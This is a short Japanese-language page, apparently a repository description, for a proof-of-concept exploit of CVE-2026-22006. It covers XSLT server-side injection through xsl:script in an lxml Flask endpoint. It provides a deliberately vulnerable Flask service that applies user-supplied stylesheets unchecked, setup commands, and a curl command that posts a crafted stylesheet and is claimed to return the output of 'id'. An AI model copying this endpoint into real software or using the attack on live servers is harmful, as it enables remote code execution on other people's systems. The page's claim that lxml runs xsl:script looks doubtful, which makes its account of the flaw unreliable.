george0papasotiriou/cve-2026-22006-xslt-server-side-injection-via-xsl-script-CVE-2026-22006 の概念実証 (PoC) です。lxml Flask エンドポイントにおける xsl:script を介した XSLT サーバーサイドインジェクションを実証し、リモートコード実行 (RCE) を達成します。
xsl:script による XSLT サーバーサイドインジェクション# xslt_server.py - Applies user-supplied XSLT to XML
from lxml import etree
from flask import Flask, request
app = Flask(__name__)
@app.route('/transform', methods=['POST'])
def transform():
xml = request.form['xml']
xslt = request.form['xslt']
xml_doc = etree.fromstring(xml.encode())
xslt_doc = etree.fromstring(xslt.encode())
transform = etree.XSLT(xslt_doc)
result = transform(xml_doc)
return str(result)
if __name__ == '__main__':
app.run(port=5000)
xsl:script による XSLT サーバーサイドインジェクション
XML変換サービスが信頼できないXSLTスタイルシートを受け入れ、スクリプト拡張を無効にせずに適用します。攻撃者は xsl:script やプロセッサ固有の関数（例: PHP の php:function）を埋め込むことで、サーバー上で任意のコードを実行できます。
pip install flask lxml
python xslt_server.py
curl -X POST -d "xml=<root/>" --data-urlencode "[email protected]" http://localhost:5000/transform
サーバーは id の出力を返します。